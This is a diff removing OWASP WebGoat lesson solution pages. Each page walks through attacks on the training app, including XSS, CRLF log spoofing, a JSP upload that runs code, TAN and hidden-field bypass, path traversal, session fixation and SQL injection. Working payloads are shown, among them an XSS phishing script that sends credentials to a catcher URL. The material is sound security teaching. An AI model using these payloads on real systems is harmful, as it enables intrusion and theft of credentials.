- - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions_1/Lab XSS/Lab Reflected XSS.html b/src/main/webapp/lesson_solutions_1/Lab XSS/Lab Reflected XSS.html deleted file mode 100644 index e53bc0e3c..000000000 --- a/src/main/webapp/lesson_solutions_1/Lab XSS/Lab Reflected XSS.html +++ /dev/null @@ -1,27 +0,0 @@ - - - - -Solution Lab Block Stored XSS - - - -

Lesson Plan Title: How to Perform Cross Site Scripting (XSS)

- -

Concept / Topic To Teach:
-It is always a good practice to scrub all inputs, especially those inputs that will later be used as parameters to OS commands, scripts, and database queries. It is particularly important for content that will be permanently stored somewhere. Users should not be able to create message content that could cause another user to load an undesirable page or undesirable content when the user's message is retrieved. -XSS can also occur when unvalidated user input is used in an HTTP response. In a reflected XSS attack, an attacker can craft a URL with the attack script and post it to another website, email it, or otherwise get a victim to click on it. -

- -

General Goal(s):
-For this exercise, you will perform stored and reflected XSS attacks. You will also implement code changes in the web application to defeat these attacks. -

- -

Solution:
-First log in as an user for example as Larry with password larry. Now click on -the 'SearchStaff' Button. Burry a script in the field for example: -<script>alert("Dangerous");</script>. Now hit -the 'FindProfile' Button and you are done.

- - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions_1/Lab XSS/Lab Stored XSS Revisited.html b/src/main/webapp/lesson_solutions_1/Lab XSS/Lab Stored XSS Revisited.html deleted file mode 100644 index 50f976cc4..000000000 --- a/src/main/webapp/lesson_solutions_1/Lab XSS/Lab Stored XSS Revisited.html +++ /dev/null @@ -1,27 +0,0 @@ - - - - -Solution Lab Block Stored XSS - - - -

Lesson Plan Title: How to Perform Cross Site Scripting (XSS)

- -

Concept / Topic To Teach:
-It is always a good practice to scrub all inputs, especially those inputs that will later be used as parameters to OS commands, scripts, and database queries. It is particularly important for content that will be permanently stored somewhere. Users should not be able to create message content that could cause another user to load an undesirable page or undesirable content when the user's message is retrieved. -XSS can also occur when unvalidated user input is used in an HTTP response. In a reflected XSS attack, an attacker can craft a URL with the attack script and post it to another website, email it, or otherwise get a victim to click on it. -

- -

General Goal(s):
-For this exercise, you will perform stored and reflected XSS attacks. You will also implement code changes in the web application to defeat these attacks. -

- -

Solution:
-Log in as David with david as password. Choose Bruce from the List and click -on the 'ViewProfile' Button. - -

- - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions_1/Lab XSS/Lab Stored XSS.html b/src/main/webapp/lesson_solutions_1/Lab XSS/Lab Stored XSS.html deleted file mode 100644 index a57dc020a..000000000 --- a/src/main/webapp/lesson_solutions_1/Lab XSS/Lab Stored XSS.html +++ /dev/null @@ -1,36 +0,0 @@ - - - - -Solution Lab Block Stored XSS - - - -

Lesson Plan Title: How to Perform Cross Site Scripting (XSS)

- -

Concept / Topic To Teach:
-It is always a good practice to scrub all inputs, especially those inputs that will later be used as parameters to OS commands, scripts, and database queries. It is particularly important for content that will be permanently stored somewhere. Users should not be able to create message content that could cause another user to load an undesirable page or undesirable content when the user's message is retrieved. -XSS can also occur when unvalidated user input is used in an HTTP response. In a reflected XSS attack, an attacker can craft a URL with the attack script and post it to another website, email it, or otherwise get a victim to click on it. -

- -

General Goal(s):
-For this exercise, you will perform stored and reflected XSS attacks. You will also implement code changes in the web application to defeat these attacks. -

- -

Solution:
-First Login as Tom with tom as password. Select Tom from the list and click on the View Profile Button. -Now should appear Tom's Profile. Click on the 'Edit Profile' Button and try an XSS attack on the street filed.
-For example: <script>alert("Got Ya");</script>
-Click on the UpdateProfile Button and Log out.

-

- -stored_xss.png - -

-Now log in as Jerry with jerry as password. Select from the the list the profile of tom and hit the -ViewProfile Button. Congratulation! You have completed the lesson. - -

- - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions_1/Lab XSS/images/stored_xss.png b/src/main/webapp/lesson_solutions_1/Lab XSS/images/stored_xss.png deleted file mode 100644 index 83aa7983e..000000000 Binary files a/src/main/webapp/lesson_solutions_1/Lab XSS/images/stored_xss.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions_1/LogSpoofing.html b/src/main/webapp/lesson_solutions_1/LogSpoofing.html deleted file mode 100644 index c1538709d..000000000 --- a/src/main/webapp/lesson_solutions_1/LogSpoofing.html +++ /dev/null @@ -1,793 +0,0 @@ - - - - - - - - - - - - - - - - - - - -
- -

Lesson -Plan Title: How to -Perform Log Spoofing.

- -

 

- -

Concept / -Topic To Teach:

- -

This lesson -teaches attempts to fool the human eye.

- -

 

- -

How the -attacks works: The attack -is based on fooling the human eye in log files. An attacker can erase his -traces from the logs using this attack.

- -

 

- -

General -Goal(s):

- -

The -grey area below represents what is going to be logged in the web server's log -file.
-Your goal is to make it like a username "admin" has succeeded into -logging in.
-Elevate your attack by adding a script to the log file.  

- -

 

- -

- -

Figure 1 Log Spoofing

- -

 

- -

Solution:

- -

 

- -

This lesson accepts any input for a username and appends the information -to the log file.

- -

 

- -

Enter for username the text: smith Login Succeeded for username admin

- -

 

- -

- -

Figure 2 Log spoof with long text

- -

 

- -

The text is added to the same line, not a new line. But any input is -allowed.

- -

In this way you can inject carriage return (%0d) and line feed (%0a) to -the application.

- -

 

- -

Fill out the following text for the username: Smith%0d%0aLogin Succeeded -for username: admin

- -

 

- -

- -

Figure 3 Lesson completed

- -

 

- -

An attacker -can use this attack to add malicious JavaScript to the log file, which will be -viewed by the administrator using a browser. What happens when you inject admin -<script>alert(document.cookie)</script> for the username?

- -

 

- -
- - - - - -
- Solution by Erwin Geirnaert - ZION SECURITY
- - - - diff --git a/src/main/webapp/lesson_solutions_1/MaliciousFileExecution.html b/src/main/webapp/lesson_solutions_1/MaliciousFileExecution.html deleted file mode 100644 index 0a4e0b348..000000000 --- a/src/main/webapp/lesson_solutions_1/MaliciousFileExecution.html +++ /dev/null @@ -1,46 +0,0 @@ - - - - -Solution: Malicious File Execution - - - -

Lesson Plan Title: Malicious File Execution

- -

Concept / Topic To Teach:
-Many sites allow the user to upload files, such as images or videos. Without the proper security, files containing malicious commands can be and then executed on the server. -

- -

General Goal(s):
-The form below allows you to upload an image which will be displayed on this page. Features like this are often found on web based discussion boards and social networking sites. This feature is vulnerable to Malicious File Execution.

- -In order to pass this lession, upload and run a malicious file. In order to prove that your file can execute, it should create another file named guest.txt

- -Once you have created this file, you will pass the lesson. -

- -Solution:

-The first step of malicious file execution is to create a file that we can run on the server. In this lesson, our goal is to create the file guest.txt in the directory provided in the lesson (the path is generated based on your system).

-To do this, we write a .jsp file that uses the java createNewFile() command. The file contents will look like this:
- -<HTML> -<% -java.io.File file = new java.io.File("filepath\\guest.txt"); -file.createNewFile(); -%> -</HTML>

-The <% indicates that the upcoming code is a java servlet, so java code is allowed. Make sure you fill in the filepath correctly - each directory must be separated by \\, not \. The filename of the .jsp doesn't matter, as long as you know what it is.

-Next, we need to figure out where the files are being uploaded so we can execute them. In this case, since we are shown the image, this is very easy. Upload an image using the form, then right click on it and check its properties.
-
-Viewing properties of the uploaded image in Firefox.



-
-File path for the uploaded image (and our .jsp) in Firefox.

-The URL should look something like http://localhost/WebGoat/uploads/image.jpg.
-The last step is to upload our malicious .jsp and browse to it so it will execute. Upload the file, then type its address into your browser. The address should be something like http://localhost/WebGoat/uploads/yourfile.jsp.

-A blank page will load. You can then return to the lesson and refresh, completing the lesson.


- - - - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions_1/MultiLevelLogin1.html b/src/main/webapp/lesson_solutions_1/MultiLevelLogin1.html deleted file mode 100644 index d45f1508b..000000000 --- a/src/main/webapp/lesson_solutions_1/MultiLevelLogin1.html +++ /dev/null @@ -1,71 +0,0 @@ - - - - -Multi Level Login 1 - - - -

Lesson Plan Title: Multi Level Login 1

- -

Concept / Topic To Teach:
-A Multi Level Login should provide a strong authentication. -This is archived by adding a second layer. After having logged -in with your user name and password you are asked for a -'Transaction Authentication Number' (TAN). This is often used by -online banking. You get a list with a lots of TANs generated only -for you by the bank. Each TAN is used only once. Another method is -to provide the TAN by SMS. This has the advantage that an attacker - can not get TANs provided by the user. -

- -

General Goal(s):
-In this Lesson you try to get around the strong authentication. -You have to break into another account. The user name, password -and a already used TAN is provided. You have to make sure the server -accept the TAN even it is already used. -

- -Solution:
-This Lesson has two stages. The first stage is only to show how a multi level login -works. In the second you have to break the strong authentication. -

-Stage 1
-This stage should be rather straight forward. Give in as name Jane -and as password tarzan.

-
-
-Figure 1: Login Screen -

-Afthr clicking on the submit button -you will be asked for the TAN.

-
-
-Figure 2: TAN Screen -
-
-Choose the correct TAN from the -list provided, click on the submit button and you are done. - -

-Stage 2
-The first step in this stage is equal to Stage 1. Log in as Jane with tarzan as password. -Now you will be asked for a TAN. Unfortunately you have only a already -used TAN from the victim. Fill in the TAN you have and make sure that WebScarab -will intercept the next request. Hit the submit button and change the hidden_tan -value to 1.

-
-
-Figure 3: Manipulation Of The Hidden Field With WebScarab -


-Congratulations you are logged in as Jane.

- -
-
-Figure 4: Manipulation Of The Hidden Field With WebScarab -
- - - - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions_1/MultiLevelLogin2.html b/src/main/webapp/lesson_solutions_1/MultiLevelLogin2.html deleted file mode 100644 index bb63045b9..000000000 --- a/src/main/webapp/lesson_solutions_1/MultiLevelLogin2.html +++ /dev/null @@ -1,43 +0,0 @@ - - - - -Multi Level Login 2 - - - -

Lesson Plan Title: Multi Level Login 2

- -

Concept / Topic To Teach:
-A Multi Level Login should provide a strong authentication. -This is archived by adding a second layer. After having logged -in with your user name and password you are asked for a -'Transaction Authentication Number' (TAN). This is often used by -online banking. You get a list with a lots of TANs generated only -for you by the bank. Each TAN is used only once. Another method is -to provide the TAN by SMS. This has the advantage that an attacker - can not get TANs provided by the user. -

- -

General Goal(s):
-In this lesson you have to try to break into another account. -You have an own account for WebGoat Financial but you want to log into -another account only knowing the user name of the victim to attack. -

- -Solution:
-The solution for this lesson is similar to the solution from -multi level login 1 stage 2 but the approach is a little different. -This time you have only the user name of your victim but an own account -on WebGoat Financial.

-Log in as Joe with password banana. Now make sure the next request will be intercepted -by WebScarab. Fill in the TAN you are asked for and hit the submit button. -Change now the hidden_user value from Joe to Jane and you are logged in -as Jane. -
-
-Figure 1: Manipulation Of The Hidden Field With WebScarab -
- - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions_1/OffByOne.html b/src/main/webapp/lesson_solutions_1/OffByOne.html deleted file mode 100644 index 0447a1fbc..000000000 --- a/src/main/webapp/lesson_solutions_1/OffByOne.html +++ /dev/null @@ -1,14 +0,0 @@ - - - - -Solution: Modify Data with SQL - - - -

Lesson Plan Title: Off By One Buffer Overflows

- -

This new lesson does not yet have a detailed solution. If you would like to provide a solution for this lesson, please send an e-mail to WebGoat@owasp.org.

- - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions_1/PasswordStrength.html b/src/main/webapp/lesson_solutions_1/PasswordStrength.html deleted file mode 100644 index 39f816477..000000000 --- a/src/main/webapp/lesson_solutions_1/PasswordStrength.html +++ /dev/null @@ -1,37 +0,0 @@ - - - - -password Strength - - - -

Lesson Plan Title: Password Strength

- -

Concept / Topic To Teach:

- -Accounts are only as secure as there passwords. Most users have the same weak password everywhere. If you want to protect them against brute-force-attacks your application should have good requirements for passwords. The password should contain lower case letters, capitals and numbers. The longer the password, the better. - -
-

General Goal(s):

- For this exercise, your job is to test several passwords on https://howsecureismypassword.net/. -

-Solution:
-Open your browser on https://howsecureismypassword.net/. Copy the first password in the field and the page will automatically be updated.

-
-Password checker


-You will get get the result of the check.

-
-The result


-Do this with all of the six given passwords.

-Here are the results you get:

- -Password = 123456: 0 seconds
-Password = abzfezd: 2 seconds
-Password = a9z1ezd: 19 seconds
-Password = aB8fEzDq: 15 hours
-Password = z8!E?7: 20 days
-Password = My1stPassword!:Redd: 364 quintillion years
-


- - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions_1/PathBasedAccessControl.html b/src/main/webapp/lesson_solutions_1/PathBasedAccessControl.html deleted file mode 100644 index 80c9bdb5a..000000000 --- a/src/main/webapp/lesson_solutions_1/PathBasedAccessControl.html +++ /dev/null @@ -1,650 +0,0 @@ - - - - - - - - - - - - - - - - - - - -
- -

Lesson Plan Title: How to Bypass a Path Based Access -Control Scheme

- -

Concept / Topic To Teach: -
-In a path based access control scheme, -an attacker can traverse a path by providing relative path information. -Therefore an attacker can use relative paths to access files that normally are -not directly accessible by anyone, or would otherwise be denied if requested -directly.

- -

General Goal(s): -
-The user should be able to -access a file that is not in the listed directory.

- -

- -

Figure 1 Lesson 8

- -

 

- -

Solution:

- -

 

- -

This lesson -can be solved by intercepting the filename in WebScarab and replacing it with -../main.jsp which is a file located in a folder below the current directory.

- -

 

- -

- -

Figure 2 Change the variable File

- -

 

- -

- -

Figure 3 Lessen 8 Completed

- -

 

- -

 

- -
- - - - - -
- Solution by Erwin Geirnaert - ZION SECURITY
- - - - diff --git a/src/main/webapp/lesson_solutions_1/Phishing.html b/src/main/webapp/lesson_solutions_1/Phishing.html deleted file mode 100644 index ac817a401..000000000 --- a/src/main/webapp/lesson_solutions_1/Phishing.html +++ /dev/null @@ -1,69 +0,0 @@ - - - -Phising with XSS - - - -

Lesson Plan Title: Phishing with XSS

- -

Concept / Topic To Teach:
-It is always a good practice to validate all input on the -server side. XSS can occur when unvalidated user input is used -in an HTTP response. With the help of XSS you can do a Phishing -Attack and add content to a page which looks official. It is very -hard for a victim to determinate that the content is malicious. -

- -

General Goal(s):
-The user should be able to add a form asking for username -and password. On submit the input should be sent to -http://localhost/WebGoat/catcher?PROPERTY=yes&user=catchedUserName&password=catchedPasswordName -

- -Solution:
-With XSS it is possible to add further elements to an existing Page. -This solution consists of two parts you have to combine: -
    -
  • A form the victim has to fill in
  • -
  • A script which reads the form and sends the gathered information to the attacker
  • -
-A Form with username and password could look like this:
-

-</form><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 -><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" -name = "pass"><br></form><br><br><HR> -

Search for this term and you will see that a form is added to the page since the search field accepts HTML. -
The initial </form> tag is to terminate the original search form. -

-Now you need a script: -

-<script>function hack(){ XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ -document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. -User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);} -</script> -

-

-This script will read the input from the form and send it to the catcher of WebGoat.
-The text in blue should match what is in your address bar. If you are using ports and/or webscarab, it may be different.
-The last step is to put things together. Add a Button to the form which -calls the script. You can reach this with the onclick="myFunction()" handler: -

-

-<input type="submit" name="login" value="login" onclick="hack()"> -

-The final String looks like this:
-</form><script>function hack(){ XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ -document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. -User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);} -</script><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 -><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" -name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR> -

-Search for this String and you will see a form asking for your username and password. -Fill in these fields and click on the Login Button, which completes the lesson.

-
-New login field after submitting the script.


- - - diff --git a/src/main/webapp/lesson_solutions_1/ReflectedXSS.html b/src/main/webapp/lesson_solutions_1/ReflectedXSS.html deleted file mode 100644 index 7ae3f6a66..000000000 --- a/src/main/webapp/lesson_solutions_1/ReflectedXSS.html +++ /dev/null @@ -1,685 +0,0 @@ - - - - - - - - - - - - - - - - - - - -
- -

Lesson Plan Title: How to Perform Reflected Cross Site -Scripting (XSS) Attacks

- -

Concept / Topic To Teach:
-It is always a good practice to validate -all input on the server side. XSS can occur when unvalidated user input is used -in an HTTP response. In a reflected XSS attack, an attacker can craft a URL -with the attack script and post it to another website, email it, or otherwise -get a victim to click on it.

- -

General Goal(s):
-
For this exercise, your -mission is to come up with some input containing a script. You have to try to -get this page to reflect that input back to your browser, which will execute -the script and do something bad.

- -

- -

Figure 1 Lesson 15

- -

 

- -

Solution:

- -

 

- -

Enter -<script>alert('Bang!')</script> for the PIN value

- -

 

- -

- -

Figure 2 Lesson 15 Completed

- -

 

- -
-
- -

 

- -
- - - - - -
- Solution by Erwin Geirnaert - ZION SECURITY
- - - - diff --git a/src/main/webapp/lesson_solutions_1/RemoteAdminFlaw.html b/src/main/webapp/lesson_solutions_1/RemoteAdminFlaw.html deleted file mode 100644 index b154b0c40..000000000 --- a/src/main/webapp/lesson_solutions_1/RemoteAdminFlaw.html +++ /dev/null @@ -1,666 +0,0 @@ - - - - - - - - - - - - - - - - - - - -
- -

Lesson -Plan Title: Remote -Admin Access

- -

 

- -

Concept / -Topic To Teach:

- -

Applications -will often have an administrative interface that allows privileged users access -to functionality that normal users shouldn't see. The application server will -often have an admin interface as well.

- -

 

- -

General -Goal(s):

- -

Try to access -the administrative interface for WebGoat. You may also try to access the -administrative interface for Tomcat. The Tomcat admin interface can be accessed -via a URL (/admin) and will not count towards the completion of this lesson.

- -

 

- -

- -

Figure 1 Lesson 7

- -

 

- -

Solution:

- -

 

- -

Append &admin=true to the URL in the -browser and hit "Enter"

- -

 

- -

Open the menu -"Admin functions" and notice that you have additional menu options like -"Database Dump", "User Information" and "Product Information".

- -

 

- -

- -

Figure 2 Some extra admin functions

- -

 

- -

Clicking on -"User Information" will not work. This is because the URL behind "User -Information" is http://localhostattack?Screen=71&menu=10 -does not contain the parameter admin=true. Rewrite the URL to become http://localhostattack?Screen=71&menu=10&admin=true

- -

 

- -

Remark: the parameter Screen is generated -randomly and can be different in your environment!

- -

 

- -

- -

Figure 3 Lesson 7 Completed

- -

 

- -
- - - - - -
- Solution by Erwin Geirnaert - ZION SECURITY
- - - - diff --git a/src/main/webapp/lesson_solutions_1/SameOriginPolicyProtection.html b/src/main/webapp/lesson_solutions_1/SameOriginPolicyProtection.html deleted file mode 100644 index 59fac9fa5..000000000 --- a/src/main/webapp/lesson_solutions_1/SameOriginPolicyProtection.html +++ /dev/null @@ -1,641 +0,0 @@ - - - - - - - -Solution: Same Origin Policy Protection - - - - - - - - - -
- -

Lesson -Plan Title: Same Origin Policy Protection.

- -

 

- -

Concept / -Topic To Teach:

- -

A key element of AJAX is the XMLHttpRequest (XHR), which allows javascript to make asynchronous calls from the client side to a server. However, as a security measure these requests may only be made to the server from which the client page originated.

- -  - -

General -Goal(s):

- -

- -

This exercise demonstrates the Same Origin Policy Protection. XHR requests can only be passed back to the originating server. Attempts to pass data to a non-originating server will fail.
- -

-  - -

Solution:

- -

Click both of the links on the page to see their behavior and complete the lesson.

- -   - - -

 

- -
- - - - diff --git a/src/main/webapp/lesson_solutions_1/SessionFixation.html b/src/main/webapp/lesson_solutions_1/SessionFixation.html deleted file mode 100644 index 96310ab6e..000000000 --- a/src/main/webapp/lesson_solutions_1/SessionFixation.html +++ /dev/null @@ -1,121 +0,0 @@ - - - - -Session Fixation - - - -

Lesson Plan Title: Session Fixation

- -

Concept / Topic To Teach:
-How to steal a session with a 'Session Fixation' -

- -

How the attacks works:
-A user is recognized by the server by an unique -Session ID. If a user has logged in and is authorized -he does not have to reauthorize when he revisits the -application as the user is recognized by the Session ID. - In some applications it is possible to deliver the Session - ID in the Get-Request. Here is where the attack starts. -

-

An attacker can send a hyperlink to a - victim with a chosen Session ID. This can be - done for example by a prepared mail which looks like an -official mail from the application administrator. If the victim - clicks on the link and logs in he is authorized by the - Session ID the attacker has chosen. The attacker can visit - the page with the same ID and is recognized as the victim - and gets logged in without authorization.

- -

General Goal(s):
-This lesson has several stages. You play the attacker but -also the victim. After having done this lesson it should be - understood how a Session Fixation in general works. It should - be also understood that it is a bad idea to use the Get-Request - for Session IDs. - -

- -

-Solution:
-This lesson has 4 stages. In stage 1 and 4 you are Hacker Joe -in lesson 2 and 3 you are the victim Jane. - -

-Stage 1:
-You have to send a prepared mail to Jane which looks like a mail from Goat Hills Financial with a link containing a Session ID. -The mail is already prepared. You only have to alter the link so it includes -a Session ID (SID). You can archive this by adding &SID=WHATEVER to -the link. Of course can WHATEVER be replaced by any other string. -The link should look similar to following:
-<a href=http://localhostattack?Screen=46&menu=320&SID=WHATEVER> -

-
-
-Figure 1: Prepared Mail -
-
- -

-Stage 2:
-Now you are Jane which receives the mail you wrote in stage 1. -Point with the mouse on the link and you will notice the -SID in the status bar of your browser. This is the easiest -stage as you have only to click on the link 'Goat Hills Financial'. -

-
-
-Figure 2: Received Mail -
-
- - -

-Stage 3:
-You are on the login screen of Goat Financial Hills now. In -the URL is the SID visible. All -you have to do is to log in with your user name Jane -and your password tarzan. -

-
-
-Figure 3: Goat Hills Financial Login Screen -
-
- -

-Stage 4:
-The application switches again to the hacker Joe. -There is already a prepared link you have to click on -to reach the Goat Hill Financial. In real life this -would be different of course. You could directly put the URL -in the address bar of your browser.

- - -After having clicked on the provied link you reach -Goat Hill Financial. Take a look at the URL and -you will see that your SID is NOVALIDSESSION. -Change this string to the SID you have chosen -at the beginning of this lesson and hit enter.

-
-
-Figure 4: Browser Address Bar Before Changes -

-
-Figure 5: Browser Address Bar After Changes -
-
-

-Congratulation! You are logged in as Jane -and the lesson was successful. -
-
-Figure 6: Successful Completion Of The Lesson -
-
- - - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions_1/SilentTransactions.html b/src/main/webapp/lesson_solutions_1/SilentTransactions.html deleted file mode 100644 index da814a15d..000000000 --- a/src/main/webapp/lesson_solutions_1/SilentTransactions.html +++ /dev/null @@ -1,931 +0,0 @@ - - - - - - - -Solution: Silent Transcations Attacks - - - - - - - - - - - - -
- -

Lesson -Plan Title: How to -Perform Silent Transactions Attacks.

- -

 

- -

Concept / -Topic To Teach:

- -

This lesson -teaches how to perform silent transactions attacks.

- -

 

- -

How the -attacks works:

- -

Any system that -silently processes transactions using a single submission is dangerous to the -client. For example, if a normal web application allows a simple URL -submission, a preset session attack will allow the attacker to complete a -transaction without the user's authorization. In Ajax, it gets worse: the -transaction is silent; it happens with no user feedback on the page, so an -injected attack script may be able to steal money from the client without -authorization.

- -

 

- -

General -Goal(s):

- -

This is a -sample internet banking application - money transfer page.

- -

It shows -below your balance, the account you are transferring to and amount you will -transfer.
-The application uses AJAX to submit the transaction after doing some basic -client side validations.
-Your goal is to try to bypass the user's authorization and silently execute the -transaction.
-
-

- -

- -

Figure 1 AJAX Security - Silent transaction attacks

- -

 

- -

Solution:

- -

This web -application uses JavaScript on the client to initiate a transaction for -transferring money. Examining the HTML source reveals that two JavaScript -functions are being used:

- -

 

-

<script>

- -

function -processData(){

- -

 var accountNo = -document.getElementById('newAccount').value;

- -

 var amount = -document.getElementById('amount').value;

- -

 if ( accountNo == ''){

- -

 alert('Please enter a valid account number to -transfer to.')

- -

 return;

- -

}

- -

 else if ( amount == ''){

- -

 alert('Please enter a valid amount to -transfer.')

- -

 return;

- -

}

- -

 var balanceValue = -document.getElementById('balanceID').innerText;

- -

 balanceValue = balanceValue.replace( new -RegExp('$') , '');

- -

 if ( parseFloat(amount) > -parseFloat(balanceValue) ) {

- -

 alert('You can not transfer more funds than -what is available in your balance.')

- -

 return;

- -

}

- -

 document.getElementById('confirm').value  = 'Transferring'

- -

submitData(accountNo, -amount);

- -

 document.getElementById('confirm').value  = 'Confirm'

- -

balanceValue -= parseFloat(balanceValue) - parseFloat(amount);

- -

balanceValue -= balanceValue.toFixed(2);

- -

document.getElementById('balanceID').innerText -= balanceValue + '$';

- -

}

- -

function -submitData(accountNo, balance) {

- -

var url = -'attack?Screen=74&menu=1150&from=ajax&newAccount='+ -accountNo+ '&amount=' + balance +'&confirm=' + -document.getElementById('confirm').value;

- -

if (typeof -XMLHttpRequest != 'undefined') {

- -

req = new -XMLHttpRequest();

- -

} else if -(window.ActiveXObject) {

- -

req = new -ActiveXObject('Microsoft.XMLHTTP');

- -

   }

- -

   req.open('GET', url, true);

- -

   req.onreadystatechange = callback;

- -

   req.send(null);

- -

}

- -

function -callback() {

- -

    if (req.readyState == 4) {

- -

        if (req.status == 200) {

- -

                   var result =  req.responseText ;

- -

                                     var resultsDiv = -document.getElementById('resultsDiv');

- -

                                                resultsDiv.innerHTML = '';

- -

                                                resultsDiv.innerHTML -= result;

- -

        }}}

- -

</script>

-

 

- -

The function -processData() is called when the user fills out an account number and an amount -to transfer. The function processData() will check if the user has sufficient -balance before initiating the transaction. After validation of the balance, the -JavaScript function submitData(accountNo, balance) is called which actually -submits the required information, target account number and the amount to -transfer, to the back-end web application.

- -

 

- -

If you are -able to call this JavaScript function submitData(accountNo, balance) from the -browser, you are able to bypass the client-side validation and execute this -transaction silently, without an additional approval or digital signature of -the user.

- -

 

- -

The latest -generation of browsers allows to call JavaScript from the address bar, using -javascript:function();. Try to execute: javascript:submitData(1234556,11000);

- -

 

- -

- -

Figure 2 Follow the hints....

- -

 

- -

- -

Figure 3 HTTP Request generated from Javascript function -submitData(123456,110000);

- -

 

- -

 

- -

- -

Figure 4 Lesson completed

- -

 

- -
- - - - - -
- Solution by Erwin Geirnaert - ZION SECURITY
- - - - diff --git a/src/main/webapp/lesson_solutions_1/SoapRequest.html b/src/main/webapp/lesson_solutions_1/SoapRequest.html deleted file mode 100644 index 72b3257e3..000000000 --- a/src/main/webapp/lesson_solutions_1/SoapRequest.html +++ /dev/null @@ -1,879 +0,0 @@ - - - - - - - -Solution: Create a SOAP Request - - - - - - - - - - - - -
- -

Lesson -Plan Title: How to -Create a SOAP Request

- -

 

- -

Concept / -Topic To Teach:

- -

Web -Services communicate through the use of SOAP requests. These requests are -submitted to a web service in an attempt to execute a function defined in the -web service definition language (WSDL). Let's learn something about WSDL files. -Check out WebGoat's web service description language (WSDL) file.

- -

 

- -

General -Goal(s):

- -

Try -connecting to the WSDL with a browser or Web Service tool. The URL for the web -service is: http://localhostservices/SoapRequest The WSDL can usually -be viewed by adding a ?WSDL on the end of the web service request.

- -

 

- -

- -

Figure 1 - Lesson 21

- -

 

- -

Solution:

- -

 

- -

Click on the -URL "WebGoat WSDL" to examine the Webservices Description Language file.

- -

 

- -

- -

Figure 2 - WSDL

- -

 

- -

Count the -number of operations like getFirstName. There are 4 operations defined.

- -

 

- -

- -

Figure 3 Enter the ID

- -

 

- -

For the next -question the getFirstNameRequest method uses an int as parameter type. Enter -int and click "Submit".

- -

 

- -

- -

Figure 4 Stage 2 Completed

- -

 

- -

Intercept the -HTTP Request with WebScarab and click on the “Raw” tab. Make sure that -“Intercept Responses” is selected.

- -

 

- -
    -
  1. Change the POST header to open - the SoapRequest:
    - POST http://localhost/WebGoat/services/SoapRequest HTTP/1.1 (This will vary based on which ports you are using)
  2. -
  3. Change the Content-Type to - text/xml:
    - Content-Type: text/xml
  4. -
  5. Add a header SOAPAction.
    - SOAPAction: (No value needs to be specified for this header)
  6. -
  7. Append the XML envelope to the - request:
  8. -
- -

<?xml -version="1.0" encoding="UTF-8"?>

- -

<SOAP-ENV:Envelope -xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"

- -

xmlns:xsd="http://www.w3.org/2001/XMLSchema" -

- -

xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> -

- -

  <SOAP-ENV:Body>

- -

    <ns1:getFirstName -SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" -xmlns:ns1="http://lessons">

- -

    <id -xsi:type="xsd:int">101</id>

- -

    -</ns1:getFirstName> -

- -

  </SOAP-ENV:Body>

- -

</SOAP-ENV:Envelope>

- -


It is important that there is no whitespace (carriage returns or spaces) from the SOAPAction header to the opening XML tag. This generates an error instead of the desired response.

- -

 

- -

- -

Figure 5 Updated HTTP request with SOAP parameters

- -

 

- -

The response -is Joe.

- -

- -

Figure 6 Intercept response

- -

 

- -

 

- -

 

- -
- - - - - -
- Solution by Erwin Geirnaert - ZION SECURITY
- - - - diff --git a/src/main/webapp/lesson_solutions_1/SqlAddData.html b/src/main/webapp/lesson_solutions_1/SqlAddData.html deleted file mode 100644 index 5e0ba4aba..000000000 --- a/src/main/webapp/lesson_solutions_1/SqlAddData.html +++ /dev/null @@ -1,43 +0,0 @@ - - - - -Solution: Modify Data with SQL - - - -

Lesson Plan Title: Add Data with SQL

- -

Concept / Topic To Teach:
-SQL injection attacks represent a serious threat to any database-driven site. The methods behind an attack are easy to learn and the damage caused can range from considerable to complete system compromise. Despite these risks, an incredible number of systems on the internet are susceptible to this form of attack. -

-Not only is it a threat easily instigated, it is also a threat that, with a little common-sense and forethought, can easily be prevented.
-
-It is always good practice to sanitize all input data, especially data that will used in OS command, scripts, and database queries, even if the threat of SQL injection has been prevented in some other manner.
-
-

- -

General Goal(s):
-The form below allows a user to view salaries associated with a userid (from the table named salaries). This form is vulnerable to String SQL Injection. In order to pass this lesson, use SQL Injection to add a record to the table. -

- -Solution:

-In this lesson, we will use the INSERT query, which uses the format:
-INSERT INTO table VALUES (value1, value2);

-In this case, the salaries table has two relevant columns: column 1 is userid, and column 2 is salary. -We will use the command:
-INSERT INTO salaries VALUES ('rlupin',140000);

-This, however, will not work correctly. We are inserting this in between two single quotes in the command:
-SELECT * FROM salaries WHERE userid='userid';

-If we treated this lesson as we have treated the previous one, our command would look like this:
-SELECT * FROM salaries WHERE userid='whatever'; INSERT INTO salaries VALUES ('rlupin',150000);'

-The statement cannot end with a single quote after the semicolon, so we must comment out the quote using --.
-To complete this lesson, type the following into the field and press go:
-whatever'; INSERT INTO salaries VALUES ('rlupin',140000);--

-If you then search for the userid rlupin, you will see there is new record.

- -
-New employee record after using an INSERT query.


